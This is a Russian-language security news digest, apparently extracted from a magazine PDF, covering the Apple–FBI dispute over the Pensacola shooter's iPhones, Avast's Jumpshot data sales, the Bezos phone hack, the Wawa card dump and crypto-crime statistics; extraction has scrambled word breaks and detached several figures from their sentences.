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APPLE VS ФБР.
ВТОРОЙ РАУНД
У Apple и ФБР вновь появил ся повод для кон флик та. Дело в том, что в декаб‐ 
ре 2019 года на базе ВМС США (во Фло риде, в городе Пен сакола) про изош‐ 
ла стрель ба. Огонь открыл 21‐лет ний Мохам мед Саид аль‐Шам рани, офи цер
воен но‐воз душных  сил  Саудов ской  Ара вии,  который  обу чал ся  в  США.  Он
зас тре лил трех человек и был убит сам.

В  нас тоящее  вре мя  ФБР  занима ется  рас сле дова нием  это го  инци ден та
и  край не  заин тересо вано  в  раз бло киров ке  двух  iPhone,  при над лежав ших
аль‐Шам рани.  Хотя ФБР  име ет  раз решение  суда  на  взлом  iPhone  и  дос туп
к дан ным, оба устрой ства защище ны пароля ми и зашиф рованы. Пока попыт‐ 
ки их взло ма ни к чему не при вели, хотя это дело счи тает ся высокоп риори тет‐ 
ным  воп росом  наци ональ ной  безопас ности  и ФБР  уже  при бег ло  к  помощи
неназ ванных сто рон них экспер тов и пос тавщи ков.

В Apple заяви ли, что сот рудни чают со следс тви ем и вооб ще всег да стре‐ 
мят ся  помогать  пра воох ранитель ным  орга нам.  Одна ко  эти  заяв ления  ком‐ 
пании не доказы вали, что Apple сог ласилась помочь взло мать устрой ства.

НЕ В ПЕР ВЫЙ РАЗ
  обсто ятель ства  скла дыва лись  в  2016  году,  ког да  пра воох раните лям  пот‐ 

ребова лось получить информа цию с iPhone 5c, который при над лежал тер рорис ту, устро ивше му
мас совое убий ство в Сан‐Бер нарди но. Отча явшись взло мать устрой ство сво ими силами, ФБР
заручи лось под дер жкой федераль ного судьи и обра тилось за этим нап рямую к Apple.

По хожим  обра зом

На этот зап рос в ком пании отре аги рова ли рез ко, заявив, что ФБР, по сути, тре бует соз дать
спе циаль ную  вер сию  iOS  со  встро енным  бэк дором —  «отмычку  от  сотен мил лионов  две рей».
И  хотя  скан дал  успел  наб рать  немалые  обо роты,  в  ито ге  про тивос тояние  сош ло  на  нет,  так
как телефон   без помощи Apple (и это сто ило ФБР боль ше мил лиона дол‐ 
ларов).

был успешно взло ман

В  ито ге  ситу ацию  про ком менти ровал  генераль ный  про курор  США  Уиль ям
Барр,  на  пресс‐кон ферен ции  приз вав  Apple  помочь  ФБР  с  взло мом.  Он
заявил,  что  про изо шед шее  в  Пен саколе  было  тер рорис тичес ким  актом,
а Apple до сих пор не ока зала сле дова телям никакой «сущес твен ной помощи»
и,  как  и  пред полага лось  ранее,  не  помог ла  получить  дос туп  к  дан ным
на смар тфо нах стрел ка.

«Эта ситу ация прек расно иллюс три рует, почему край не важ но, что бы
сле дова тели мог ли получить дос туп к циф ровым доказа тель ствам пос- 
ле получе ния судеб ного пос танов ления. Мы при зыва ем Apple и дру гие
тех нологи чес кие ком пании помочь нам най ти решение, что бы мы мог- 
ли луч ше защитить жизнь аме рикан цев и пре дот вра тить будущие ата- 
ки», — ска зал Барр.

В ответ на это Apple опуб ликова ла офи циаль ное заяв ление, которое показа‐ 
ло,  что  ком пания  за  про шед шие  годы  не  изме нила  сво ей  позиции  отно‐ 
ситель но бэк доров. Более  того,  пред ста вите ли Apple  под чер кну ли,  что пре‐ 
дос тавили  сле дова телям  гигабай ты  дан ных,  вклю чая  резер вные  копии
из iCloud аль‐Шам рани.

«Мы  отверга ем  утвер жде ния,  что  Apple  не  ока зала  сущес твен ной
помощи в рас сле дова нии про изо шед шего в Пен саколе. Наши отве ты
на  мно гочис ленные  зап росы  [следс твия]  пос ле  ата ки  были  сво евре- 
мен ными, тща тель ными и про дол жают пос тупать.

В течение нес коль ких часов пос ле пер вого зап роса ФБР, 6 декаб- 
ря 2019 года, мы пре дос тавили широкий спектр информа ции, свя зан- 
ной с рас сле дова нием. С 7 по 14 декаб ря мы получи ли шесть допол- 
нитель ных  юри дичес ких  зап росов  и  в  ответ  пре дос тавили  информа- 
цию,  вклю чая  резер вные  копии  iCloud,  информа цию  об  акка унте
и тран закци ях для нес коль ких учет ных записей.

Мы  отве чали  на  каж дый  зап рос  незамед литель но,  зачас тую
в  течение  нес коль ких  часов,  обме нива ясь  информа цией  с  офи сами
ФБР  в Джек сонвил ле,  Пен саколе  и Нью‑Йор ке.  По  зап росам  следс- 
твия  было  получе но  мно го  гигабай тов  информа ции,  которую  мы
переда ли  сле дова телям.  В  каж дом  слу чае  мы  пре дос тавля ли  всю
информа цию, которая у нас была», — заяв ляют в ком пании.

От дель но  Apple  напом нила  все му  миру  о  сво ей  точ ке  зре ния  на  бэк доры
в ПО, оставлен ные спе циаль но для пра воох ранитель ных орга нов:

«Мы всег да утвер жда ли, что не сущес тву ет такого понятия, как  „бэк- 
дор для хороших пар ней“. Бэк доры так же могут исполь зовать те, кто
угро жает  нашей  наци ональ ной  безопас ности  и  безопас ности  дан ных
наших кли ентов.

Се год ня  пра воох ранитель ные  орга ны  име ют  дос туп  к  боль шему
количес тву дан ных, чем ког да‑либо в исто рии, поэто му аме рикан цам
не  при ходит ся  выбирать меж ду  ослабле нием шиф рования  и  рас кры- 
тием  дел.  Мы  счи таем,  что  шиф рование  край не  важ но  для  защиты
нашей стра ны и дан ных наших поль зовате лей».

Ин терес но,  что,  пока  Apple  и  ФБР  выяс няют  отно шения,  у  шот ланд ской
полиции  таких  проб лем не  воз ника ет.  ,  что шот лан дцы  офи‐ 
циаль но  берут  на  воору жение  обо рудо вание  ком пании  Cellebrite  и  вско ре
уста новят  в  полицей ских  учас тках  по  всей  стра не  41  спе циали зиро ван ный
«кибер киоск».  Раз верты вание  тер миналов  дол жно  завер шить ся  к  кон цу
мая 2020 года.

Ста ло извес тно

Из раиль ская ком пания Cellebrite — это незави симые кибер кри мина лис ты,
которые  спе циали зиру ются  на  извле чении  дан ных  с  мобиль ных 
Ком пания дав но и плот но сот рудни чает с аме рикан ской полици ей, и пра воох‐ 
раните ли  пла тят  кибер кри мина лис там  мил лионы  дол ларов.  Сто ит  отме тить,
что на рын ке сущес тву ет по край ней мере два подоб ных решения (ком паний
Cellebrite  и  GrayShift),  про изво дите ли  которых  заяв ляют,  что  с  их  помощью
мож но подоб рать код бло киров ки и извлечь дан ные из iPhone любой модели,
работа юще го на акту аль ной или более ста рой вер сии iOS.

устройств.

 РУБ ЛЕЙ УБЫТ КОВ55 000 000 000

Мак сим  Рябыко,  гла ва  Ассо циации  по  защите  прав  в  интерне те  (АЗА ПИ),  в  которую  вхо дят
изда тель ства  «Эксмо‐АСТ»,  «Азбу ка‐Атти кус»  и  интернет‐магазин  «Лит рес»,  заявил,  что  рас‐ 
простра нение  пират ских  книг  в  Telegram  сум марно  лишило  изда телей  при были  в  раз мере

 руб лей.55 000 000 000

По дан ным Рябыко, незакон ной деятель ностью занима ются око ло  , чья совокуп‐ 
ная  ауди тория  нас читыва ет  око ло    человек.  Общий  объ ем  рос сий ско го  книж ного
рын ка  оце нива ется  в    руб лей,  при чем  его  легаль ная  часть  не  пре выша ет

 руб лей.

200 каналов
2  000  000

82  000  000  000
4 200 000 000

К УСТАНОВКЕ
ОБЯЗАТЕЛЬНО
Фе дераль ная анти моно поль ная служ ба (ФАС) РФ раз работа ла кон цепт спис‐ 
ка  при ложе ний,  которые  будут  уста нав ливать ся  на  смар тфо ны  и  дру гие
устрой ства, пред назна чен ные для про дажи на тер ритории нашей стра ны.

На пом ню, что соот ветс тву ющий закон был под писан в декаб ре 2019 года,
он всту пит в силу в нес коль ко эта пов, пер вый из  которых зап ланиро ван  уже
на 1 июля 2020 года. Закон обя жет про изво дите лей пре дус танав ливать рос‐ 
сий ские  при ложе ния  на  смар тфо ны  и  дру гие  устрой ства,  пред назна чен ные
для  про дажи  на  тер ритории  Рос сии.  Отве чать  за  это  будет  про изво дитель
устрой ства, но так же это может делать, нап ример, дис трибь ютор или ретей‐ 
лер.

В  текущем  году  пре дус танов ка  рос сий ско го  ПО  ста нет  обя затель ной
для смар тфо нов, с 2021 года — для план шетов, с 2022 года — для компь юте‐ 
ров, с 2023 года — для Smart TV и ТВ‐прис тавок.

На  рабочем  совеща нии  ФАС  был  пред став лен  документ,  который  рег‐ 
ламен тиру ет, для какого обо рудо вания, каким обра зом и ког да дол жен быть
обес печен  режим  пре дус танов ки  рос сий ско го  ПО.  В  рабочем  совеща нии
при няли учас тие пред ста вите ли ФАС, Рос потреб надзо ра, опе рато ров свя зи,
раз личных ассо циаций, а так же ком паний — раз работ чиков ПО.

За мес титель руково дите ля ФАС Ана толий Голомол зин пояс нил, что пред‐ 
варитель ная вер сия  такова: на смар тфо нах и план шетах могут быть пре дус‐ 
танов лены такие при ложе ния, как анти виру сы, навига торы, поис ковики, прог‐ 
раммы дос тупа к государс твен ным услу гам и пла теж ные сис темы. Ана логич‐ 
ные прог раммы, за исклю чени ем пла теж ной сис темы, будут уста нов лены и на
план шетах. На план шетах, компь юте рах и Smart TV дол жна быть обес печена
воз можность  уста нов ки прог рамм ауди ови зуаль ного сер виса, а  так же прос‐ 
мотра прог рамм пер вого и вто рого муль тип лекса (обес печива ющих тран сля‐ 
цию 20 обя затель ных обще дос тупных каналов). Вне сение готово го докумен та
в кабинет минис тров зап ланиро вано уже на март 2020 года.

Пред ста витель  Ассо циации  тор говых  ком паний  и  товароп роиз водите лей
элек тро быто вой и компь ютер ной тех ники Антон Гусь ков, который при сутс тво‐ 
вал на встре че, сооб щил жур налис там РБК, что переч ня кон крет ных при ложе‐ 
ний  (кон крет ных  раз работ чиков)  не  будет,  так  как  это  наруша ло  бы  закон
о  кон курен ции. В докумен те будет  ука зан  лишь  тип ПО и  тре бова ния  к  раз‐ 
работ чику. То есть, какое имен но при ложе ние выб рать, про изво дитель будет
решать самос тоятель но. Глав ное — соб люсти сле дующие кри терии:

пра ва на ПО при над лежат рос сий ско му лицу;•
ПО реали зует ся на тер ритории Рос сии;•
раз работ чик  в  течение  пос ледних  пяти  лет  не  нарушал  закон  в  области
пер сональ ных дан ных.

•

MICROSOFT ПРО ЯВЛЯ ЕТ ГИБ КОСТЬ
Ког да ФБР вновь пот ребова ло от ком пании Apple помощи во взло ме iPhone прес тупни ка, сооб‐ 
щес тво опять загово рило о внед рении бэк доров в ПО и обос нован ности таких мер. Гла ва Mi‐
crosoft тоже обоз начил свою позицию.

→ «Я счи таю, бэк доры — это ужас ная идея и не луч ший из воз можных вари антов. Мы всег да
заяв ляли, что заботим ся о двух вещах: кон фиден циаль нос ти и государс твен ной безопас ности.
И нашей демок ратии нуж ны  легаль ные и  тех ничес ки решения,  которые поз волят  сде лать  обе
эти вещи задача ми пер восте пен ной важ ности»
— CEO Microsoft Сатья Надел ла

ТОРГОВЛЯ ДАННЫМИ
Сов мес тное рас сле дова ние, про веден ное изда ниями Vice Motherboard и PC‐
Mag,  обна ружи ло,  что  анти вирус  Avast  собирал  поль зователь ские  дан ные,
которые затем переп родава лись  таким гиган там,  как Google, Yelp, Microsoft,
McKinsey,  Pepsi,  Sephora,  Home  Depot,  Condé  Nast,  Intuit  и  мно гим,  мно гим
дру гим.

Под разде ление  Avast,  занимав шееся  про дажей  дан ных, —  это  дочер няя
ком пания  Jumpshot,  которая  пред лага ет  сво им  кли ентам  дос туп  к  поль‐ 
зователь ско му  тра фику  со  100  мил лионов  устрой ств,  вклю чая  компь юте ры
и телефо ны.

Вы воды  иссле дова телей  были  осно ваны  на  ана лизе  уте чек,  кон трак тов
и  дру гих  докумен тов  ком пании.  Жур налис ты  под черки вали,  что  подоб ные
сдел ки меж ду  ком пани ями обыч но  край не  кон фиден циаль ные,  а  сот рудни ки
ком паний,  как пра вило,  про инс трук тирова ны не  говорить пуб лично об отно‐ 
шени ях с Jumpshot.

Как извес тно, ком пании готовы пла тить за поль зователь ские дан ные мил‐ 
лионы дол ларов, а про дук ты Jumpshot, вро де All Clicks Feed, поз воля ют отсле‐ 
живать дей ствия поль зовате лей с точ ностью до кли ка на кон крет ном домене.
К при меру, дан ные Jumpshot могут наг лядно показать, как поль зователь анти‐ 
виру са Avast искал про дукт в Google, перешел по ссыл ке на Amazon, а затем,
воз можно,  добавил  товар  в  кор зину  на  дру гом  сай те,  преж де  чем  наконец
купил его.

Дру гие  про дук ты  Jumpshot  пред назна чены,  нап ример,  для  отсле жива ния
того, какие видео поль зовате ли прос матри вают на YouTube, в Facebook и  In‐
stagram  или  для  ана лиза  кон крет ных  e‐commerce‐доменов,  что бы  помочь
мар кетоло гам понять, как поль зовате ли на них попада ют.

Од на из ком паний, которые поль зовались инс тру мен том All Clicks Feed, —
нью‐йорк ская  мар кетин говая  фир ма  Omnicom  Media  Group.  Сог ласно
докумен тации  Jumpshot,  Omnicom  зап латила  Jumpshot  2  075  000  дол ларов
за дос туп к дан ным толь ко в 2019 году.

На пом ню, что впер вые о проб лемах при ват ности в про дук тах Avast 
 в декаб ре прош лого года. Тог да орга низа ция Mozilla получи ла пре дуп‐ 

режде ние  от  раз работ чика  AdBlock  Plus  Вла дими ра  Палан та.
Еще осенью 2019 года он изу чил работу Avast Online Security и AVG Online Se‐
curity и обна ружил, что аддо ны для Firefox собира ют куда боль ше дан ных, чем
необ ходимо для их работы, в том чис ле под робную исто рию бра узе ра. Затем
Палант опуб ликовал в сво ем бло ге еще один матери ал, в котором рас ска зал
об ана логич ном поведе нии Avast SafePrice и AVG SafePrice. В ито ге все рас‐ 
ширения  были  уда лены  из  офи циаль ного  катало га  рас ширений  для  Firefox,
а  вско ре  при меру  инже неров  Mozilla  пос ледова ли  и  раз работ чики  Opera
и  Google,  тоже  исклю чив  из  сво их  катало гов  рас ширения  Avast  и  дочер ней
AVG.

за гово‐ 
рили

Тог да пред ста вите ли Avast уве ряли, что упо мяну тому Avast Online Security
прос то необ ходимо собирать исто рию URL‐адре сов, что бы обес печить поль‐ 
зовате лям безопас ность,  ведь аддон пред назна чен для защиты от фишин га
и  вре донос ных  сай тов.  Под черки валось,  что  дан ные  собира ются  без  иден‐ 
тифика ции поль зовате ля, то есть все дан ные обез личены.

Как  теперь  рас ска зыва ют  Vice  Motherboard  и  PCMag,  собира емые  Avast
поль зователь ские  дан ные  нас толь ко  детали зиро ваны,  что  кли енты  могут
«видеть» даже отдель ные кли ки, которые поль зовате ли дела ют во вре мя сес‐ 
сий,  при чем с  точ ностью до мил лисекун ды. Собира ют информа цию о поис‐ 
ковых зап росах в Google, поис ке локаций и коор динат GPS на Google Maps,
дан ные  о  посеще нии  стра ниц  ком паний  на  LinkedIn  и  кон крет ных  видео
на YouTube, а так же о посеще нии пор носай тов. Нап ример, мож но опре делить
дату и вре мя, ког да ано ним ный поль зователь заходил на YouPorn и PornHub,
а  в  некото рых  слу чаях  даже  узнать,  что  имен но  он  искал  там и  что  смот рел
в ито ге.

И  хотя  собира емые  дан ные  дей стви тель но  не  свя зыва ются  с  име нем
челове ка,  адре сом  его  элек трон ной  поч ты  или  IP‐адре сом,  то  есть  де‐юре
счи тают ся  обез личен ными,  каж дому  поль зовате лю  все  же  прис ваивает ся
уни каль ный  ID, называ емый иден тифика тором устрой ства, который сох раня‐ 
ется  до  тех  пор,  пока  поль зователь  не  уда лит  со  сво его  устрой ства  анти‐ 
вирус ный про дукт Avast.

ИБ‐экспер ты  уве ряют,  что,  рас полагая  такой  деталь ной  информа цией,
какую  пре дос тавля ет  сво им  кли ентам  Jumpshot,  ком пани ям‐кли ентам  будет
сов сем  нет рудно  сопос тавить  эти  исчерпы вающие  дан ные  с  информа цией
из  дру гих  источни ков,  в  ито ге  получив  под робный  про филь  кон крет ного
челове ка. По мне нию экспер тов и жур налис тов, вряд ли в таком слу чае кор‐ 
рек тно говорить про обез личен ность собира емых дан ных.

«Воз можно, сами дан ные (Jumpshot) не иден тифици руют людей. Воз- 
можно, это прос то спи сок хеширо ван ных  ID поль зовате лей и некото- 
рых URL-адре сов. Но его всег да мож но объ еди нить с дан ными дру гих
мар кетоло гов,  дру гих рек ламода телей,  что,  по  сути,  при ведет  к  нас- 
тоящей  лич ности  поль зовате ля»,  —  говорит  ИБ‑спе циалист  Гюнеш
Акар (Gunes Acar).

Пос ле прош логод него скан дала из‐за бра узер ных рас ширений пред ста вите‐ 
ли  Avast  уве ряли,  что  прек ратили  собирать  и  переда вать  поль зователь ские
дан ные Jumpshot, но жур налис ты говорят, что сбор информа ции про дол жает‐ 
ся. Прос то теперь Avast собира ет дан ные не с помощью бра узер ных аддо нов,
а при помощи самого анти виру са.

Сог ласно внут ренним докумен там, спра шивать у поль зовате лей бес плат‐ 
ных  анти вирус ных  решений  раз решение  на  сбор  дан ных  Avast  начал  толь ко
недав но. Докумен тация гла сит, что, если поль зователь пре дос тавит свое сог‐ 
ласие,  его  устрой ство  ста нет  частью  Jumpshot  Panel,  то  есть  будет  сли вать
информа цию обо всей интернет‐активнос ти бра узе ра, вклю чая дан ные о том,
какие URL посеща ли с устрой ства, в каком поряд ке и ког да имен но.

Vice  Motherboard  и  PCMag  обра тились  за  офи циаль ным  ком мента рием
к самим пред ста вите лям Avast, одна ко те не ста ли отве чать на боль шинс тво
воп росов жур налис тов. В ком пании лишь под чер кну ли, что соб люда ют законы
и  пре дос тавля ют  поль зовате лям  воз можность  отка зать ся  от  сбо ра  дан ных
в поль зу Jumpshot.

Од нако  скан дал  стре митель но  набирал  обо роты,  и  30  янва ря  2020  года
пред ста вите ли  Avast  объ яви ли,  что  в  бли жай шем  будущем  ком пания  прек‐ 
ратит пре дос тавлять дан ные сво ей дочер ней ком пании Jumpshot и нач нет ее
пол ную лик видацию.

«Глав ная  задача  Avast  —  обес печивать  безопас ность  сво их  поль- 
зовате лей  в  Сети  и  пре дос тавлять  кон троль  над  их  кон фиден циаль- 
ностью,  —  пишет  Онд ржей  Влчек,  генераль ный  дирек тор  Avast.  —
Любые дей ствия,  которые ста вят под угро зу доверие поль зовате лей,
неп рием лемы  для  Avast.  При ват ность  наших  поль зовате лей  явля ется
для  нас  важ ней шим  при ори тетом,  поэто му  мы  решили  дей ство вать
опе ратив но. Мы решили зак рыть Jumpshot пос ле того, как ста ло оче- 
вид но,  что  некото рые  поль зовате ли  под верга ют  сом нению  соот ветс- 
твие пре дос тавле ния дан ных Jumpshot с нашей мис сией и осно вопо- 
лага ющи ми для нас прин ципами.

Мы  сожале ем  о  вли янии,  которое  ока жет  наше  решение  на  сот- 
рудни ков Jumpshot, мы ценим их вклад. Мы пос тара емся мак сималь но
сгла дить для них пос ледс твия это го решения».

Так же  в бло ге  ком пании под черки вает ся,  что  Jumpshot,  даже будучи дочер‐ 
ней ком пани ей Avast, всег да дей ство вала как незави симая ком пания с собс‐ 
твен ным руководс твом и советом дирек торов.

В  Avast  пообе щали,  что  осталь ные  про дук ты  ком пании  будут  про дол жать
работать в обыч ном режиме и поль зовате ли не заметят изме нений.

КРИП ТОВАЛЮТ НЫЕ АТА КИ СТА ЛИ ЧАЩЕ
Ана лити чес кая  ком пания  Chainalysis  под счи тала,  что  в  2019  году  хакеры  успешно  взло мали
сра зу    круп ных  крип товалют ных  бирж  и  похити ли  крип товалю ту  на  сум му  более

 дол ларов США. При этом хакерам уда лось похитить мень ше денег.
11

283 000 000

 дол ларов — это нам ного ниже   дол ларов (имен но столь ко хакерам
уда лось украсть в 2018 году все го за шесть взло мов) или   дол ларов  (получе ны
зло умыш ленни ками в 2014 году все го за три взло ма).

283 000 000 875 500 000
483 000 000

В течение 2019 года более   дол ларов в бит кой нах переш ли от извес тных кри‐ 
миналь ных  групп  к  нес коль ким  бир жевым  пор талам,  где  затем  были  быс тро  кон верти рова ны
в фиат ные валюты.

2,8 мил лиар да

По мимо укра ден ных на бир жах средств, в эти   дол ларов так же вош ли дру гие
виды незакон ных  тран закций,  такие  как  пла тежи вымога телям,  средс тва от фишин говых опе‐ 
раций, онлайн‐мошен ничес тва и средс тва, свя зан ные с извес тны ми прес тупны ми и тер рорис‐ 
тичес кими груп пами.

2,8 мил лиар да

Бо лее   от упо мяну той сум мы было переве дено на сче та на круп ных бир жевых плат формах
Binance и Huobi, где мошен ники отмы вали укра ден ные день ги. Так, в 2019 году более 
инди виду аль ных сче тов на Binance и Huobi получи ли крип товалю ту из кри миналь ных источни‐ 
ков.

50%
300 000

Вы мога тель ские  груп пиров ки  получи ли  чуть  более    дол ларов  США  в  крип‐ 
товалю те  в  качес тве  выкупов.  В  основном  такая  сум ма  наб ралась  бла года ря  октябрь ско му
всплес ку атак, реали зован ных с исполь зовани ем вымога телей BitPaymer, Ryuk и Defray777.

6,6  мил лиона
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СКАНДАЛЬНЫЙ
ВЗЛОМ
В мае 2018 года смар тфон гла вы Amazon и вла дель ца газеты The Washington
Post, одно го из богатей ших людей на пла нете Джеф фа Безоса был взло ман.
Тог да все закон чилось гром ким скан далом, в ходе которо го Безоса попытал‐ 
ся  шан тажиро вать  таб лоид  National  Enquirer,  угро жая  опуб ликовать  лич ные
сооб щения и интимные фото, получен ные с его телефо на. В то вре мя гла ва
Amazon еще не раз велся со сво ей женой Мак кензи, с которой про жил в бра‐ 
ке 25 лет, и еще не афи широ вал свой роман с быв шей телеве дущей 49‐лет‐ 
ней Лорен Сан чес. Сло вом, выш ло не очень при ятно.

Как  теперь  сооб щили  изда ния  The Guardian  и  Financial  Times,  взлом  был
нап рямую  свя зан  с  сооб щени ем,  которое  Безос  1  мая  2018  года  получил
в WhatsApp от нас ледно го прин ца Саудов ской Ара вии Мухам меда ибн Сал‐ 
мана, с которым незадол го до это го встре чал ся лич но и обме нял ся кон такта‐ 
ми.

СМИ  ссы лают ся  на  отчет,  сос тавлен ный  кри мина лис тами  ком пании  FTI
Consulting  (документ  уже  опуб ликован  изда нием  ).  Они
приш ли к выводу, что виде осооб щение (ролик пред став лял собой рек ламный
фильм о телеком муника циях на араб ском язы ке), получен ное гла вой Amazon
от  нас ледно го  прин ца,  экс плу ати рова ло  уяз вимость  в  мес сен дже ре  What‐
sApp,  исполь зуя  баг  для  заг рузки  и  уста нов ки  мал вари  на  лич ный  iPhone
Безоса. Это вре донос ное ПО похити ло с устрой ства гла вы Amazon огромное
количес тво дан ных.

Vice  Motherboard

«Объ ем дан ных,  переда ваемых с  телефо на Безоса, рез ко изме нил ся
пос ле  получе ния  виде офай ла  в  WhatsApp  и  более  не  воз вра щал ся
к исходно му уров ню. Пос ле выпол нения зашиф рован ного заг рузчи ка,
отправ ленно го с учет ной записи Мухам меда ибн Сал мана, исхо дящий
тра фик с устрой ства под ско чил при мер но на 29 000%, — гла сит отчет
FTI  Consulting.  —  Кри мина лис тичес кие  арте фак ты  показы вают,  что
за  шесть  месяцев  до  получе ния  видео  через  WhatsApp  телефон
Безоса в сред нем генери ровал 430 Кбайт исхо дяще го тра фика в день,
что  доволь но  типич но  для  iPhone.  Через  нес коль ко  часов  пос ле
получе ния  видео  в  WhatsApp  исхо дящий  тра фик  уве личил ся
до 126 Мбайт. На про тяже нии мно гих месяцев телефон под держи вал
необыч но высокий уро вень тра фика (в сред нем 101 Мбайт), демонс- 
три руя мно жес твен ные и край не нетипич ные всплес ки исхо дящих дан- 
ных».

Ав торы отче та полага ют, что исполь зован ная для взло ма мал варь была при‐ 
обре тена  у  сто рон них  раз работ чиков  близ ким  дру гом  и  совет ником  нас‐ 
ледно го прин ца Саудов ской Ара вии Саудом аль‐Ках тани. Ранее, по дан ным
СМИ,  он  не  раз  закупал  хакер ские  инс тру мен ты  у  таких  ком паний,
как небезыз вес тная Hacking Team.

Ре зуль таты  рас сле дова ния  FTI  Consulting,  впер вые  опуб ликован ные
The  Guardian,  под вер глись  кри тике  ИБ‐спе циалис тов,  так  как  жур налис ты
пред полага ли,  что  исполь зуемый  инс тру мент  мог  быть  соз дан  изра иль ской
ком пани ей NSO Group, извес тным раз работ чиком нас тупатель ных хакер ских
инс тру мен тов. Одна ко в отче те кри мина лис тов не говорит ся, что для взло ма
исполь зовал ся имен но инс тру мент NSO Group, экспер ты лишь отме чают, что
инс тру мен ты  изра иль ской  ком пании  спо соб ны  так  же  похищать  дан ные,
как это про изош ло на устрой стве Безоса. Иссле дова тели при водят в качес‐ 
тве при меров мал варь Pegasus от NSO Group и Galileo от Hacking Team.

Впро чем, отчет FTI Consulting все рав но вызыва ет у спе циалис тов немало
воп росов и скеп сиса. К при меру, гла ва Elcomsoft Вла димир Каталов сооб щил
жур налис тами  Vice Motherboard,  что  изу чав шие  ата ку  экспер ты,  похоже,  «не
были дос таточ но ква лифи циро ван ными».

За чем  нас ледно му  прин цу  Саудов ской  Ара вии  вооб ще  понадо билось
взла мывать  телефон Джеф фа Безоса? Веро ятно,  ата ка может быть свя зана
с тем, что Безос с 2013 года вла деет газетой The Washington Post. Дело в том,
что  имен но  в  этом  изда нии  активно  пуб ликовал ся  извес тный  жур налист,
обоз реватель и писатель из Саудов ской Ара вии Джа маль Хашог ги, извес тный
и ярый  кри тик  влас тей США, Саудов ской Ара вии в целом и Мухам меда ибн
Сал мана в час тнос ти. Хашог ги был убит осенью 2018 года на тер ритории кон‐ 
суль ства Саудов ской Ара вии  в Стам буле. Пос ле  убий ства  нас ледный принц
Саудов ской  Ара вии  приз нал  свою  ответс твен ность  за  слу чив шееся,  но  при
этом заявил, что не был осве дом лен о про исхо дящем.

Те перь  мно гие  СМИ  и  экспер ты  полага ют,  что  Саудов ская  Ара вия
намерен но раз верну ла целую кам панию, что бы очер нить репута цию Джеф фа
Безоса.  К  при меру,  жур налис ты  изда ния    под готови ли  раз верну тую
хро ноло гию  событий  пос ледних  лет,  свя зан ных  с  дей стви ями  Саудов ской
Ара вии, Джеф фом Безосом и убий ством Хашог ги.

ZDNet

От метим,  что  посоль ство Саудов ской  Ара вии  в  Вашин гто не  офи циаль но
отвер гло  пред положе ния,  буд то  королевс тво  име ло  какое‐либо  отно шение
к  взло му  телефо на  Джеф фа  Безоса.  Дип ломаты  наз вали  эти  обви нения
абсурдом.

В  свою  оче редь,  чле ны  рабочей  груп пы  ООН  по  пра вам  челове ка  выс‐ 
тупили  с  при зывом  к  США  немед ленно  и  тща тель но  рас сле довать  ата ку
на смар тфон Джеф фа Безоса. Экспер ты ООН тоже полага ют, что взлом был
частью  ско орди ниро ван ной  кам пании  Саудов ской  Ара вии  про тив  Безоса,
выз ванной кри тичес ким осве щени ем событий в стра не.

ДО БЫЛИ   ДОЛ ЛАРОВ5 000 000 000

По  информа ции  изда ния  The  Block,  в  2019  году  май неры,  спе циали зиру ющиеся  на  Bitcoin,
получи ли приб лизитель но   дол ларов пред полага емо го совокуп ного дохода.5 000 000 000

Эта сум ма скла дыва ется из   дол ларов, получен ных в качес тве воз награж дений
за добытые бло ки  (  за каж дый), а  так же при мер но   дол ларов,  которые
обес печили комис сион ные сбо ры.

4 890 000 000
12,5 BTC 146 000 000

Для срав нения: в 2018 году пред полага емый доход май неров сос тавлял   дол‐ 
ларов, в 2017 году —   дол ларов. То есть в 2019 году доходы нез начитель но сок‐ 
ратились.

5 230 000 000
3 190 000 000

ОГРОМНАЯ УТЕЧКА
КАРТ
На  круп ном  кар дер ском  ресур се  Joker’s  Stash  появи лись  дан ные  30  мил‐ 
лионов  бан ков ских  карт,  при над лежащих  аме рикан цам,  и  еще  око ло  мил‐ 
лиона карт, при над лежащих людям из дру гих стран. Экспер ты ком пании Gem‐
ini Advisory  счи тают,  что этот дамп, озаг лавлен ный BIGBADABOOM‐III,  име ет
пря мое отно шение к ком про мета ции аме рикан ской сети магази нов Wawa.

О взло ме Wawa сооб щала еще в декаб ре 2019  года.  Тог да  ком пания приз‐ 
нала, что под вер глась кибера таке, в ходе которой хакеры внед рили мал варь
в PoS‐сис темы ее магази нов. Зло умыш ленни ки оста вались в сис теме с мар та
по  декабрь  2019  года,  собира ли  и  похища ли  дан ные  кли ентов,  которые
исполь зовали кре дит ные или дебето вые кар ты для опла ты покупок в магази‐ 
нах  и  на  авто зап равоч ных  стан циях.  По  информа ции Wawa,  взлом  зат ронул
все 860 магази нов ком пании, из которых 600 были сов мещены с АЗС.

Су дя  по  все му,  дли тель ный  пери од  зараже ния  и  ком про мета ция  сотен
магази нов  поз волили  ответс твен ной  за  взлом  прес тупной  груп пе  соб рать
огромный мас сив дан ных. Ана лити ки Gemini Advisory пишут, что взлом Wawa
может ока зать ся одной из круп ней ших атак такого рода не толь ко в 2019 году,
но и за всю исто рию наб людений. Иссле дова тели срав нива ют утеч ку с ата кой
на  Home  Depot  в  2014  году,  в  резуль тате  которой  были  похище ны  дан‐ 
ные  50 мил лионов  кли ентов,  и  со  взло мом  Target  в  2013  году,  ког да  утек ли
дан ные карт 40 мил лионов поль зовате лей.

Пос ле опуб ликован ного Gemini Advisory отче та пред ста вите ли Wawa пос‐ 
пешили  выпус тить  пресс‐релиз,  в  котором  ком пания  приз нала,  что  дан ные
карт  ее  поль зовате лей  дей стви тель но  уже  про дают ся  в Сети. По  сути,  ком‐ 
пания  кос венно  под твер дила,  что  опуб ликован ный  на  Joker’s  Stash  дамп —
это дан ные ее кли ентов.

Так же сеть магази нов заяви ла, что речь идет толь ко об информа ции о пла‐ 
теж ных кар тах, а PIN‐коды дебето вых карт, номера CVV2 для кре дит ных карт
и  дру гая  лич ная  информа ция  поль зовате лей  не  были  зат ронуты.  Впро чем,
СМИ  отме чают,  что,  если  судить  по  образцу  дам па,  получен ному  ими,
это неп равда и номера CVV2 все же попали в руки хакеров.

В  нас тоящее  вре мя  зло умыш ленни ки  про дают  информа цию  о  кар тах,
выпущен ных в США, в сред нем по 17 дол ларов за кар ту, тог да как информа‐ 
ция о зарубеж ных кар тах сто ит нам ного дороже — в сред нем 210 дол ларов
за кар ту.

ПА ВЕЛ ДУРОВ НАПОМИ НАЕТ
Пос ле  появ ления  новых  под робнос тей  в  деле  о  ком про мета ции  смар тфо на  гла вы  Amazon
Джеф фа  Безоса  (который  был  взло ман  через  вре донос ное  сооб щение  в  WhatsApp)  Павел
